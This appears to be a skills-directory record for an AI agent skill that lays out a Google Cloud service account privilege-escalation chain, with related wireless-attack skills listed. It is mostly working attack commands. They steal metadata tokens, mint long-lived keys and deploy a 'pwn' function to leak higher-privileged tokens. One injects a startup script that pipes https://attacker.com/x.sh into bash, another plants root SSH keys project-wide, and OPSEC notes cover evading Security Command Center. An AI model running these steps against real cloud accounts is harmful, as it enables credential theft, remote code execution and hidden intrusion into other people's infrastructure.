[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7703PJQHK5MBT7X85VZ0SPJ":3,"skill-same:01M7703PJQHK5MBT7X85VZ0SPJ":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7703PJQHK5MBT7X85VZ0SPJ","gcp-svc-account-impersonation",null,"GCP service account impersonation chain — IAM `roles\u002Fiam.serviceAccountTokenCreator`, `roles\u002Fiam.serviceAccountUser`, `actAs` on Cloud Functions \u002F Cloud Run \u002F Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-svc-account-impersonation\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: gcp-svc-account-impersonation\ndescription: \"GCP service account impersonation chain — IAM `roles\u002Fiam.serviceAccountTokenCreator`, `roles\u002Fiam.serviceAccountUser`, `actAs` on Cloud Functions \u002F Cloud Run \u002F Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"gcp google cloud service account impersonation token creator actAs roles\u002Fiam compute cloud functions cloud run workload identity\"\n  subdomain: cloud\n  tags: gcp, iam, service-account, privilege-escalation\n  mitre_attack: T1078.004, T1098, T1550.001\n---\n\n# GCP Service Account Impersonation\n\nYou have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.\n\n## Steal the token\n\n### From GCE \u002F GKE \u002F Cloud Run \u002F Functions\n```bash\nTOKEN=$(curl -s -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" \\\n  | jq -r .access_token)\n\n# All service accounts on the VM:\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002F\"\n```\n\n### From a leaked key.json\n```bash\ngcloud auth activate-service-account --key-file=key.json\nTOKEN=$(gcloud auth print-access-token)\n```\n\n## Phase 1: Enumerate current permissions\n\n```bash\n# Which projects are you in?\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fv1\u002Fprojects\" | jq -r '.projects[].projectId'\n\n# What can you do in a project?\nPROJECT=$(gcloud config get-value project)\ngcloud projects test-iam-permissions \"$PROJECT\" \\\n  --permissions=$(curl -s https:\u002F\u002Fiam.googleapis.com\u002Fv1\u002Fpermissions:queryTestablePermissions -X POST -H \"Authorization: Bearer $TOKEN\" -d \"{\\\"fullResourceName\\\":\\\"\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fprojects\u002F$PROJECT\\\"}\" | jq -r '.permissions[].name' | tr '\\n' ',' | sed 's\u002F,$\u002F\u002F')\n\n# Or use the bucket-list shortcut (most SAs can list):\ngcloud projects get-iam-policy \"$PROJECT\" --format=json | jq '.bindings[]'\n```\n\n## Phase 2: Impersonation primitives\n\n### `roles\u002Fiam.serviceAccountTokenCreator`\nIf you have `iam.serviceAccounts.getAccessToken` on a higher-priv SA:\n\n```bash\ngcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com\n# OR raw:\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"]}' \\\n  \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002Fhighpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken\" \\\n  | jq -r .accessToken\n```\n\n### `iam.serviceAccountKeys.create`\nMint a permanent JSON key for any SA you can act-on:\n\n```bash\ngcloud iam service-accounts keys create \u002Ftmp\u002Fk.json \\\n  --iam-account=target@PROJECT.iam.gserviceaccount.com\n# Long-lived credential — survives token rotation.\n```\n\n### `cloudfunctions.functions.update` + `actAs`\nDeploy a function that runs AS a more-priv SA:\n\n```bash\nmkdir fn && cat > fn\u002Fmain.py \u003C\u003C'EOF'\ndef pwn(request):\n    import subprocess\n    out = subprocess.check_output(\"curl -s -H 'Metadata-Flavor: Google' http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\", shell=True)\n    return out\nEOF\necho \"\" > fn\u002Frequirements.txt\ngcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \\\n  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn\n# Then HTTP-call it to get the higher-priv token\n```\n\n### `compute.instances.setMetadata`\nInject a `startup-script` that runs as the VM's SA on next boot:\n\n```bash\ngcloud compute instances add-metadata target-vm --zone=us-central1-a \\\n  --metadata=startup-script='curl -fsSL https:\u002F\u002Fattacker.com\u002Fx.sh | bash'\ngcloud compute instances reset target-vm --zone=us-central1-a\n```\n\n### `compute.projects.setCommonInstanceMetadata`\nProject-wide metadata = SSH key on every VM in the project:\n\n```bash\nssh-keygen -t ed25519 -f .\u002Fpwn -N ''\ngcloud compute project-info add-metadata --metadata=ssh-keys=\"root:$(cat pwn.pub)\"\n```\n\n## Phase 3: Cross-project pivot\n\n```bash\n# If your token has `resourcemanager.organizations.get`, you can see the org tree\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fv1\u002Forganizations\" | jq .\n\n# Find SAs with cross-project bindings\nfor p in $(gcloud projects list --format='value(projectId)'); do\n  echo \"=== $p ===\"\n  gcloud projects get-iam-policy \"$p\" --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members | join(\",\"))\"'\ndone\n```\n\n## OPSEC\n\n- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.\n- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).\n- Key creation creates a Cloud Audit `google.iam.admin.v1.CreateServiceAccountKey` event — high-fidelity detection.\n- GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.\n\n## References\n\n- gcp_enum \u002F GCP IAM Privilege Escalation by RhinoSecurityLabs\n- \"Big GCP IAM Privilege Escalation List\" — Praetorian\n- DEFCON 27 \"Privilege Escalation in GCP\" — Spencer Gietzen\n","# GCP Service Account Impersonation\n\nYou have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.\n\n## Steal the token\n\n### From GCE \u002F GKE \u002F Cloud Run \u002F Functions\n```bash\nTOKEN=$(curl -s -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" \\\n  | jq -r .access_token)\n\n# All service accounts on the VM:\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002F\"\n```\n\n### From a leaked key.json\n```bash\ngcloud auth activate-service-account --key-file=key.json\nTOKEN=$(gcloud auth print-access-token)\n```\n\n## Phase 1: Enumerate current permissions\n\n```bash\n# Which projects are you in?\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fv1\u002Fprojects\" | jq -r '.projects[].projectId'\n\n# What can you do in a project?\nPROJECT=$(gcloud config get-value project)\ngcloud projects test-iam-permissions \"$PROJECT\" \\\n  --permissions=$(curl -s https:\u002F\u002Fiam.googleapis.com\u002Fv1\u002Fpermissions:queryTestablePermissions -X POST -H \"Authorization: Bearer $TOKEN\" -d \"{\\\"fullResourceName\\\":\\\"\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fprojects\u002F$PROJECT\\\"}\" | jq -r '.permissions[].name' | tr '\\n' ',' | sed 's\u002F,$\u002F\u002F')\n\n# Or use the bucket-list shortcut (most SAs can list):\ngcloud projects get-iam-policy \"$PROJECT\" --format=json | jq '.bindings[]'\n```\n\n## Phase 2: Impersonation primitives\n\n### `roles\u002Fiam.serviceAccountTokenCreator`\nIf you have `iam.serviceAccounts.getAccessToken` on a higher-priv SA:\n\n```bash\ngcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com\n# OR raw:\ncurl -s -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"]}' \\\n  \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002Fhighpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken\" \\\n  | jq -r .accessToken\n```\n\n### `iam.serviceAccountKeys.create`\nMint a permanent JSON key for any SA you can act-on:\n\n```bash\ngcloud iam service-accounts keys create \u002Ftmp\u002Fk.json \\\n  --iam-account=target@PROJECT.iam.gserviceaccount.com\n# Long-lived credential — survives token rotation.\n```\n\n### `cloudfunctions.functions.update` + `actAs`\nDeploy a function that runs AS a more-priv SA:\n\n```bash\nmkdir fn && cat > fn\u002Fmain.py \u003C\u003C'EOF'\ndef pwn(request):\n    import subprocess\n    out = subprocess.check_output(\"curl -s -H 'Metadata-Flavor: Google' http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\", shell=True)\n    return out\nEOF\necho \"\" > fn\u002Frequirements.txt\ngcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \\\n  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn\n# Then HTTP-call it to get the higher-priv token\n```\n\n### `compute.instances.setMetadata`\nInject a `startup-script` that runs as the VM's SA on next boot:\n\n```bash\ngcloud compute instances add-metadata target-vm --zone=us-central1-a \\\n  --metadata=startup-script='curl -fsSL https:\u002F\u002Fattacker.com\u002Fx.sh | bash'\ngcloud compute instances reset target-vm --zone=us-central1-a\n```\n\n### `compute.projects.setCommonInstanceMetadata`\nProject-wide metadata = SSH key on every VM in the project:\n\n```bash\nssh-keygen -t ed25519 -f .\u002Fpwn -N ''\ngcloud compute project-info add-metadata --metadata=ssh-keys=\"root:$(cat pwn.pub)\"\n```\n\n## Phase 3: Cross-project pivot\n\n```bash\n# If your token has `resourcemanager.organizations.get`, you can see the org tree\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fcloudresourcemanager.googleapis.com\u002Fv1\u002Forganizations\" | jq .\n\n# Find SAs with cross-project bindings\nfor p in $(gcloud projects list --format='value(projectId)'); do\n  echo \"=== $p ===\"\n  gcloud projects get-iam-policy \"$p\" --format=json | jq -r '.bindings[] | \"\\(.role): \\(.members | join(\",\"))\"'\ndone\n```\n\n## OPSEC\n\n- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.\n- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).\n- Key creation creates a Cloud Audit `google.iam.admin.v1.CreateServiceAccountKey` event — high-fidelity detection.\n- GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.\n\n## References\n\n- gcp_enum \u002F GCP IAM Privilege Escalation by RhinoSecurityLabs\n- \"Big GCP IAM Privilege Escalation List\" — Praetorian\n- DEFCON 27 \"Privilege Escalation in GCP\" — Spencer Gietzen\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"gcp, iam, service-account, privilege-escalation","cloud","gcp google cloud service account impersonation token creator actAs roles\u002Fiam compute cloud functions cloud run workload identity","T1078.004, T1098, T1550.001","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-svc-account-impersonation","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill gcp-svc-account-impersonation",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill gcp-svc-account-impersonation",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill gcp-svc-account-impersonation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-svc-account-impersonation\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]